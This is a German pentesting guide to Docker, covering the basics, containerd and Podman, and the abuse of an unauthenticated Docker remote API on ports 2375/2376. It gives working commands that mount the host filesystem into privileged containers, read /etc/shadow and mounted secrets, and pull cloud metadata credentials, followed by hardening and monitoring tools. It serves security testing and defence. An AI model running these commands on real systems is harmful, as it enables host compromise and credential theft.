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Docker-Grundlagen

Was ist

Docker ist die führende Plattform in der Containerisierungsbranche, die kontinuierliche Innovation vorantreibt. Es erleichtert die mühelose Erstellung und Verteilung von Anwendungen, die von traditionell bis futuristisch reichen, und gewährleistet ihre sichere Bereitstellung in verschiedenen Umgebungen.

Grundlegende Docker-Architektur

  • containerd: Dies ist eine Kern-Laufzeitumgebung für Container, die für das umfassende Management des Lebenszyklus eines Containers zuständig ist. Dies umfasst die Handhabung von Bildübertragung und -speicherung sowie die Überwachung und Vernetzung von Containern. Detailliertere Einblicke in containerd werden weiter erforscht.
  • Die Container-Shim spielt eine wichtige Rolle als Vermittler bei der Handhabung von kopflosen Containern, indem sie nahtlos von runc übernimmt, nachdem die Container initialisiert wurden.
  • runc: Bekannt für seine leichte und universelle Container-Laufzeitumgebung, ist runc mit dem OCI-Standard ausgerichtet. Es wird von containerd verwendet, um Container gemäß den OCI-Richtlinien zu starten und zu verwalten, und hat sich aus dem ursprünglichen libcontainer entwickelt.
  • grpc ist für die Kommunikation zwischen containerd und dem Docker-Engine unerlässlich und gewährleistet eine effiziente Interaktion.
  • Die OCI ist entscheidend für die Einhaltung der OCI-Spezifikationen für Laufzeitumgebung und Bilder, wobei die neuesten Docker-Versionen sowohl den OCI-Bild- als auch den Laufzeitstandard erfüllen.

Grundlegende Befehle

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd wurde speziell für die Bedürfnisse von Containerplattformen wie Docker und Kubernetes entwickelt. Es zielt darauf ab, die Ausführung von Containern auf verschiedenen Betriebssystemen wie Linux, Windows, Solaris und anderen zu vereinfachen, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd besteht darin, nur die für seine Benutzer erforderlichen wesentlichen Funktionen einzuschließen und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.

Eine wichtige Designentscheidung besteht darin, dass Containerd das Netzwerk nicht verwaltet. Networking wird als kritischer Bestandteil von verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Service Discovery, die von einer Plattform zur anderen erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den von ihm unterstützten Plattformen.

Während Docker Containerd verwendet, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur einen Teil der Funktionalitäten von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkverwaltungsfunktionen, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker Swarms. Diese Unterscheidung verdeutlicht die fokussierte Rolle von Containerd als Container-Laufzeitumgebung, die spezialisiertere Funktionen an die integrierten Plattformen delegiert.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman ist ein Open-Source-Container-Engine, die den Open Container Initiative (OCI) Standards entspricht und von Red Hat entwickelt und gepflegt wird. Es unterscheidet sich von Docker durch mehrere einzigartige Funktionen, insbesondere seine daemonlose Architektur und die Unterstützung für rootlose Container, die es Benutzern ermöglichen, Container ohne Root-Rechte auszuführen.

Podman wurde entwickelt, um mit der Docker-API kompatibel zu sein und ermöglicht die Verwendung von Docker CLI-Befehlen. Diese Kompatibilität erstreckt sich auch auf das Ökosystem von Podman, zu dem Tools wie Buildah zum Erstellen von Container-Images und Skopeo für Bildoperationen wie Push, Pull und Inspektion gehören. Weitere Details zu diesen Tools finden Sie auf ihrer GitHub-Seite.

Hauptunterschiede

  • Architektur: Im Gegensatz zum Client-Server-Modell von Docker ohne Hintergrunddienst arbeitet Podman ohne einen Daemon. Diese Gestaltung bedeutet, dass Container mit den Berechtigungen des Benutzers ausgeführt werden, der sie startet, was die Sicherheit erhöht, indem der Root-Zugriff eliminiert wird.

  • Systemd-Integration: Podman integriert sich mit systemd, um Container zu verwalten und ermöglicht die Container-Verwaltung über systemd-Einheiten. Dies steht im Gegensatz zur Verwendung von systemd durch Docker, das hauptsächlich für die Verwaltung des Docker-Daemon-Prozesses verwendet wird.

  • Rootlose Container: Eine entscheidende Funktion von Podman ist die Möglichkeit, Container unter den Berechtigungen des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Container-Verletzungen, indem sichergestellt wird, dass Angreifer nur die Berechtigungen des kompromittierten Benutzers erhalten und keinen Root-Zugriff.

Podmans Ansatz bietet eine sichere und flexible Alternative zu Docker und legt den Schwerpunkt auf die Verwaltung von Benutzerberechtigungen und die Kompatibilität mit bestehenden Docker-Workflows.

{% hint style="info" %} Beachten Sie, dass Podman das gleiche API wie Docker unterstützt, sodass Sie dieselben Befehle mit Podman verwenden können wie mit Docker, z. B.:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

Grundlegende Informationen

Die Remote-API wird standardmäßig auf Port 2375 ausgeführt, wenn sie aktiviert ist. Der Dienst erfordert standardmäßig keine Authentifizierung, was einem Angreifer ermöglicht, einen privilegierten Docker-Container zu starten. Durch die Verwendung der Remote-API kann man Hosts / (Stammverzeichnis) an den Container anhängen und Dateien der Umgebung des Hosts lesen/schreiben.

Standardport: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeration

Manuell

Beachten Sie, dass Sie zur Aufzählung der Docker-API den docker-Befehl oder curl verwenden können, wie im folgenden Beispiel:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Wenn Sie die Remote Docker API mit dem docker-Befehl kontaktieren können, können Sie beliebige der zuvor kommentierten Docker-Befehle ausführen, um mit dem Dienst zu interagieren.

{% hint style="info" %} Sie können export DOCKER_HOST="tcp://localhost:2375" verwenden und die Verwendung des -H-Parameters mit dem Docker-Befehl vermeiden. {% endhint %}

Schneller Privilegien-Eskalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Manchmal sehen Sie 2376 für den TLS-Endpunkt. Ich konnte mich nicht mit dem Docker-Client verbinden, aber es ist möglich, es mit curl zu tun.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Wenn Sie weitere Informationen dazu wünschen, finden Sie weitere Informationen, von wo ich die Befehle kopiert habe: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automatisch

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Kompromittierung

Auf der folgenden Seite finden Sie Möglichkeiten, aus einem Docker-Container auszubrechen:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

Durch Missbrauch dieser Methode ist es möglich, aus einem Container auszubrechen. Sie könnten einen schwachen Container auf der entfernten Maschine ausführen, daraus ausbrechen und die Maschine kompromittieren:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

Wenn Sie sich auf einem Host befinden, der Docker verwendet, können Sie diese Informationen lesen, um zu versuchen, Privilegien zu erhöhen.

Entdeckung von Geheimnissen in laufenden Docker-Containern

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Überprüfen Sie env (Abschnitt Umgebungsvariablen) nach Geheimnissen und Sie könnten Folgendes finden:

  • Passwörter.
  • IP-Adressen.
  • Ports.
  • Pfade.
  • Andere... .

Wenn Sie eine Datei extrahieren möchten:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Sichern Sie Ihre Docker

Sichern der Docker-Installation und -Verwendung

  • Sie können das Tool https://github.com/docker/docker-bench-security verwenden, um Ihre aktuelle Docker-Installation zu überprüfen.
  • ./docker-bench-security.sh
  • Sie können das Tool https://github.com/kost/dockscan verwenden, um Ihre aktuelle Docker-Installation zu überprüfen.
  • dockscan -v unix:///var/run/docker.sock
  • Sie können das Tool https://github.com/genuinetools/amicontained verwenden, um die Berechtigungen eines Containers zu überprüfen, wenn er mit verschiedenen Sicherheitsoptionen ausgeführt wird. Dies ist nützlich, um die Auswirkungen der Verwendung bestimmter Sicherheitsoptionen zum Ausführen eines Containers zu kennen:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Sichern von Docker-Images

  • Sie können ein Docker-Image von https://github.com/quay/clair verwenden, um Ihre anderen Docker-Images zu scannen und Schwachstellen zu finden.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Sichern von Dockerfiles

Protokollierung verdächtiger Aktivitäten

  • Sie können das Tool https://github.com/falcosecurity/falco verwenden, um verdächtiges Verhalten in laufenden Containern zu erkennen.
  • Beachten Sie in dem folgenden Abschnitt, wie Falco ein Kernelmodul kompiliert und einfügt. Danach lädt es die Regeln und beginnt mit der Protokollierung verdächtiger Aktivitäten. In diesem Fall hat es 2 privilegierte Container gestartet, von denen einer ein sensibles Mount hatte, und nach einigen Sekunden hat es erkannt, wie eine Shell in einem der Container geöffnet wurde.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Überwachung von Docker

Sie können auditd verwenden, um Docker zu überwachen.

Referenzen

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